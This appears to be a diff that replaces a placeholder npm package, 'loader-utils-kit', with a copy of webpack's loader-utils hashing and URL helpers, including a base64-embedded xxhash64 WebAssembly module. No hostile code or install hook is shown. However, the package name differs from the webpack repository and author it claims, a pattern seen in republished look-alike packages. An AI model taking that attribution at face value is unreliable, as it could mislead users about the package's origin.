+  /**
+   * @param {Buffer | string} data data
+   * @param {BufferEncoding=} encoding encoding
+   * @returns {this} itself
+   */
+  update(data, encoding) {
+    if (typeof data === "string") {
+      while (data.length > MAX_SHORT_STRING) {
+        this._updateWithShortString(data.slice(0, MAX_SHORT_STRING), encoding);
+        data = data.slice(MAX_SHORT_STRING);
+      }
+
+      this._updateWithShortString(data, encoding);
+
+      return this;
+    }
+
+    this._updateWithBuffer(data);
+
+    return this;
+  }
+
+  /**
+   * @param {string} data data
+   * @param {BufferEncoding=} encoding encoding
+   * @returns {void}
+   */
+  _updateWithShortString(data, encoding) {
+    const { exports, buffered, mem, chunkSize } = this;
+
+    let endPos;
+
+    if (data.length < 70) {
+      if (!encoding || encoding === "utf-8" || encoding === "utf8") {
+        endPos = buffered;
+        for (let i = 0; i < data.length; i++) {
+          const cc = data.charCodeAt(i);
+
+          if (cc < 0x80) {
+            mem[endPos++] = cc;
+          } else if (cc < 0x800) {
+            mem[endPos] = (cc >> 6) | 0xc0;
+            mem[endPos + 1] = (cc & 0x3f) | 0x80;
+            endPos += 2;
+          } else {
+            // bail-out for weird chars
+            endPos += mem.write(data.slice(i), endPos, encoding);
+            break;
+          }
+        }
+      } else if (encoding === "latin1") {
+        endPos = buffered;
+
+        for (let i = 0; i < data.length; i++) {
+          const cc = data.charCodeAt(i);
+
+          mem[endPos++] = cc;
+        }
+      } else {
+        endPos = buffered + mem.write(data, buffered, encoding);
+      }
+    } else {
+      endPos = buffered + mem.write(data, buffered, encoding);
+    }
+
+    if (endPos < chunkSize) {
+      this.buffered = endPos;
+    } else {
+      const l = endPos & ~(this.chunkSize - 1);
+
+      exports.update(l);
+
+      const newBuffered = endPos - l;
+
+      this.buffered = newBuffered;
+
+      if (newBuffered > 0) {
+        mem.copyWithin(0, l, endPos);
+      }
+    }
+  }
+
+  /**
+   * @param {Buffer} data data
+   * @returns {void}
+   */
+  _updateWithBuffer(data) {
+    const { exports, buffered, mem } = this;
+    const length = data.length;
+
+    if (buffered + length < this.chunkSize) {
+      data.copy(mem, buffered, 0, length);
+
+      this.buffered += length;
+    } else {
+      const l = (buffered + length) & ~(this.chunkSize - 1);
+
+      if (l > 65536) {
+        let i = 65536 - buffered;
+
+        data.copy(mem, buffered, 0, i);
+        exports.update(65536);
+
+        const stop = l - buffered - 65536;
+
+        while (i < stop) {
+          data.copy(mem, 0, i, i + 65536);
+          exports.update(65536);
+          i += 65536;
+        }
+
+        data.copy(mem, 0, i, l - buffered);
+
+        exports.update(l - buffered - i);
+      } else {
+        data.copy(mem, buffered, 0, l - buffered);
+
+        exports.update(l);
+      }
+
+      const newBuffered = length + buffered - l;
+
+      this.buffered = newBuffered;
+
+      if (newBuffered > 0) {
+        data.copy(mem, 0, length - newBuffered, length);
+      }
+    }
+  }
+
+  digest(type) {
+    const { exports, buffered, mem, digestSize } = this;
+
+    exports.final(buffered);
+
+    this.instancesPool.push(this);
+
+    const hex = mem.toString("latin1", 0, digestSize);
+
+    if (type === "hex") {
+      return hex;
+    }
+
+    if (type === "binary" || !type) {
+      return Buffer.from(hex, "hex");
+    }
+
+    return Buffer.from(hex, "hex").toString(type);
+  }
+}
+
+const create = (wasmModule, instancesPool, chunkSize, digestSize) => {
+  if (instancesPool.length > 0) {
+    const old = instancesPool.pop();
+
+    old.reset();
+
+    return old;
+  } else {
+    return new WasmHash(
+      new WebAssembly.Instance(wasmModule),
+      instancesPool,
+      chunkSize,
+      digestSize
+    );
+  }
+};
+
+module.exports = create;
+module.exports.MAX_SHORT_STRING = MAX_SHORT_STRING;

package/lib/hash/xxhash64.js

@@ -0,0 +1,20 @@
+/*
+	MIT License http://www.opensource.org/licenses/mit-license.php
+	Author Tobias Koppers @sokra
+*/
+
+"use strict";
+
+const create = require("./wasm-hash");
+
+//#region wasm code: xxhash64 (../../../assembly/hash/xxhash64.asm.ts) --initialMemory 1
+const xxhash64 = new WebAssembly.Module(
+  Buffer.from(
+    // 1173 bytes
+    "AGFzbQEAAAABCAJgAX8AYAAAAwQDAQAABQMBAAEGGgV+AUIAC34BQgALfgFCAAt+AUIAC34BQgALByIEBGluaXQAAAZ1cGRhdGUAAQVmaW5hbAACBm1lbW9yeQIACrUIAzAAQtbrgu7q/Yn14AAkAELP1tO+0ser2UIkAUIAJAJC+erQ0OfJoeThACQDQgAkBAvUAQIBfwR+IABFBEAPCyMEIACtfCQEIwAhAiMBIQMjAiEEIwMhBQNAIAIgASkDAELP1tO+0ser2UJ+fEIfiUKHla+vmLbem55/fiECIAMgASkDCELP1tO+0ser2UJ+fEIfiUKHla+vmLbem55/fiEDIAQgASkDEELP1tO+0ser2UJ+fEIfiUKHla+vmLbem55/fiEEIAUgASkDGELP1tO+0ser2UJ+fEIfiUKHla+vmLbem55/fiEFIAAgAUEgaiIBSw0ACyACJAAgAyQBIAQkAiAFJAMLqwYCAX8EfiMEQgBSBH4jACICQgGJIwEiA0IHiXwjAiIEQgyJfCMDIgVCEol8IAJCz9bTvtLHq9lCfkIfiUKHla+vmLbem55/foVCh5Wvr5i23puef35CnaO16oOxjYr6AH0gA0LP1tO+0ser2UJ+Qh+JQoeVr6+Ytt6bnn9+hUKHla+vmLbem55/fkKdo7Xqg7GNivoAfSAEQs/W077Sx6vZQn5CH4lCh5Wvr5i23puef36FQoeVr6+Ytt6bnn9+Qp2jteqDsY2K+gB9IAVCz9bTvtLHq9lCfkIfiUKHla+vmLbem55/foVCh5Wvr5i23puef35CnaO16oOxjYr6AH0FQsXP2bLx5brqJwsjBCAArXx8IQIDQCABQQhqIABNBEAgAiABKQMAQs/W077Sx6vZQn5CH4lCh5Wvr5i23puef36FQhuJQoeVr6+Ytt6bnn9+Qp2jteqDsY2K+gB9IQIgAUEIaiEBDAELCyABQQRqIABNBEACfyACIAE1AgBCh5Wvr5i23puef36FQheJQs/W077Sx6vZQn5C+fPd8Zn2masWfCECIAFBBGoLIQELA0AgACABRwRAIAIgATEAAELFz9my8eW66id+hUILiUKHla+vmLbem55/fiECIAFBAWohAQwBCwtBACACIAJCIYiFQs/W077Sx6vZQn4iAiACQh2IhUL5893xmfaZqxZ+IgIgAkIgiIUiAkIgiCIDQv//A4NCIIYgA0KAgPz/D4NCEIiEIgNC/4GAgPAfg0IQhiADQoD+g4CA4D+DQgiIhCIDQo+AvIDwgcAHg0IIhiADQvCBwIeAnoD4AINCBIiEIgNChoyYsODAgYMGfEIEiEKBgoSIkKDAgAGDQid+IANCsODAgYOGjJgwhHw3AwBBCCACQv////8PgyICQv//A4NCIIYgAkKAgPz/D4NCEIiEIgJC/4GAgPAfg0IQhiACQoD+g4CA4D+DQgiIhCICQo+AvIDwgcAHg0IIhiACQvCBwIeAnoD4AINCBIiEIgJChoyYsODAgYMGfEIEiEKBgoSIkKDAgAGDQid+IAJCsODAgYOGjJgwhHw3AwAL",
+    "base64"
+  )
+);
+//#endregion
+
+module.exports = create.bind(null, xxhash64, [], 32, 16);

package/lib/index.js

@@ -0,0 +1,11 @@
+"use strict";
+
+const isUrlRequest = require("./isUrlRequest");
+const urlToRequest = require("./urlToRequest");
+const getHashDigest = require("./getHashDigest");
+const interpolateName = require("./interpolateName");
+
+exports.urlToRequest = urlToRequest;
+exports.getHashDigest = getHashDigest;
+exports.interpolateName = interpolateName;
+exports.isUrlRequest = isUrlRequest;

package/lib/interpolateName.js

@@ -0,0 +1,117 @@
+"use strict";
+
+const path = require("path");
+const getHashDigest = require("./getHashDigest");
+
+function interpolateName(loaderContext, name, options = {}) {
+  let filename;
+
+  const hasQuery =
+    loaderContext.resourceQuery && loaderContext.resourceQuery.length > 1;
+
+  if (typeof name === "function") {
+    filename = name(
+      loaderContext.resourcePath,
+      hasQuery ? loaderContext.resourceQuery : undefined
+    );
+  } else {
+    filename = name || "[hash].[ext]";
+  }
+
+  const context = options.context;
+  const content = options.content;
+  const regExp = options.regExp;
+
+  let ext = "bin";
+  let basename = "file";
+  let directory = "";
+  let folder = "";
+  let query = "";
+
+  if (loaderContext.resourcePath) {
+    const parsed = path.parse(loaderContext.resourcePath);
+    let resourcePath = loaderContext.resourcePath;
+
+    if (parsed.ext) {
+      ext = parsed.ext.substr(1);
+    }
+
+    if (parsed.dir) {
+      basename = parsed.name;
+      resourcePath = parsed.dir + path.sep;
+    }
+
+    if (typeof context !== "undefined") {
+      directory = path
+        .relative(context, resourcePath + "_")
+        .replace(/\\/g, "/")
+        .replace(/\.\.(\/)?/g, "_$1");
+      directory = directory.substr(0, directory.length - 1);
+    } else {
+      directory = resourcePath.replace(/\\/g, "/").replace(/\.\.(\/)?/g, "_$1");
+    }
+
+    if (directory.length <= 1) {
+      directory = "";
+    } else {
+      // directory.length > 1
+      folder = path.basename(directory);
+    }
+  }
+
+  if (loaderContext.resourceQuery && loaderContext.resourceQuery.length > 1) {
+    query = loaderContext.resourceQuery;
+
+    const hashIdx = query.indexOf("#");
+
+    if (hashIdx >= 0) {
+      query = query.substr(0, hashIdx);
+    }
+  }
+
+  let url = filename;
+
+  if (content) {
+    // Match hash template
+    url = url
+      // `hash` and `contenthash` are same in `loader-utils` context
+      // let's keep `hash` for backward compatibility
+      .replace(
+        /\[(?:([^[:\]]+):)?(?:hash|contenthash)(?::([a-z]+\d*(?:safe)?))?(?::(\d+))?\]/gi,
+        (all, hashType, digestType, maxLength) =>
+          getHashDigest(content, hashType, digestType, parseInt(maxLength, 10))
+      );
+  }
+
+  url = url
+    .replace(/\[ext\]/gi, () => ext)
+    .replace(/\[name\]/gi, () => basename)
+    .replace(/\[path\]/gi, () => directory)
+    .replace(/\[folder\]/gi, () => folder)
+    .replace(/\[query\]/gi, () => query);
+
+  if (regExp && loaderContext.resourcePath) {
+    const match = loaderContext.resourcePath.match(new RegExp(regExp));
+
+    match &&
+      match.forEach((matched, i) => {
+        url = url.replace(new RegExp("\\[" + i + "\\]", "ig"), matched);
+      });
+  }
+
+  if (
+    typeof loaderContext.options === "object" &&
+    typeof loaderContext.options.customInterpolateName === "function"
+  ) {
+    url = loaderContext.options.customInterpolateName.call(
+      loaderContext,
+      url,
+      name,
+      options
+    );
+  }
+
+  return url;
+}
+
+module.exports = interpolateName;

package/lib/isUrlRequest.js

@@ -0,0 +1,31 @@
+"use strict";
+
+const path = require("path");
+
+function isUrlRequest(url) {
+  // An URL is not an request if
+
+  // 1. Allow `data URI`
+  if (/^data:/i.test(url)) {
+    return true;
+  }
+
+  // 2. It's an absolute url and it is not `windows` path like `C:\dir\file`
+  if (/^[a-z][a-z0-9+.-]*:/i.test(url) && !path.win32.isAbsolute(url)) {
+    return false;
+  }
+
+  // 3. It's a protocol-relative
+  if (/^\/\//.test(url)) {
+    return false;
+  }
+
+  // 4. It's some kind of url for a template
+  if (/^#/.test(url)) {
+    return false;
+  }
+
+  return true;
+}
+
+module.exports = isUrlRequest;

package/lib/urlToRequest.js

@@ -0,0 +1,60 @@
+"use strict";
+
+// we can't use path.win32.isAbsolute because it also matches paths starting with a forward slash
+const matchNativeWin32Path = /^[A-Z]:[/\\]|^\\\\/i;
+
+function urlToRequest(url, root) {
+  // Do not rewrite an empty url
+  if (url === "") {
+    return "";
+  }
+
+  const moduleRequestRegex = /^[^?]*~/;
+  let request;
+
+  if (matchNativeWin32Path.test(url)) {
+    // absolute windows path, keep it
+    request = url;
+  } else if (root !== undefined && root !== false && /^\//.test(url)) {
+    // if root is set and the url is root-relative
+    switch (typeof root) {
+      // 1. root is a string: root is prefixed to the url
+      case "string":
+        // special case: `~` roots convert to module request
+        if (moduleRequestRegex.test(root)) {
+          request = root.replace(/([^~/])$/, "$1/") + url.slice(1);
+        } else {
+          request = root + url;
+        }
+        break;
+      // 2. root is `true`: absolute paths are allowed
+      //    *nix only, windows-style absolute paths are always allowed as they doesn't start with a `/`
+      case "boolean":
+        request = url;
+        break;
+      default:
+        throw new Error(
+          "Unexpected parameters to loader-utils 'urlToRequest': url = " +
+            url +
+            ", root = " +
+            root +
+            "."
+        );
+    }
+  } else if (/^\.\.?\//.test(url)) {
+    // A relative url stays
+    request = url;
+  } else {
+    // every other url is threaded like a relative url
+    request = "./" + url;
+  }
+
+  // A `~` makes the url an module
+  if (moduleRequestRegex.test(request)) {
+    request = request.replace(moduleRequestRegex, "");
+  }
+
+  return request;
+}
+
+module.exports = urlToRequest;

package/package.json

@@ -1,6 +1,35 @@
 {
   "name": "loader-utils-kit",
-  "version": "0.0.0-stage",
-  "stub": true,
-  "description": "Temporary package placeholder for staged publishing"
-}
+  "version": "4.2.1",
+  "author": "Tobias Koppers @sokra",
+  "description": "utils for webpack loaders",
+  "dependencies": {},
+  "scripts": {
+    "lint": "prettier --list-different . && eslint .",
+    "pretest": "yarn lint",
+    "test": "jest",
+    "test:only": "jest --coverage",
+    "test:ci": "yarn test:only",
+    "release": "yarn test && standard-version"
+  },
+  "license": "MIT",
+  "repository": {
+    "type": "git",
+    "url": "https://github.com/webpack/loader-utils.git"
+  },
+  "engines": {
+    "node": ">= 12.13.0"
+  },
+  "devDependencies": {
+    "coveralls": "^3.1.1",
+    "eslint": "^8.0.1",
+    "eslint-plugin-node": "^11.1.0",
+    "jest": "^27.3.1",
+    "prettier": "^2.4.1",
+    "standard-version": "^9.3.2"
+  },
+  "main": "lib/index.js",
+  "files": [
+    "lib"
+  ]
+}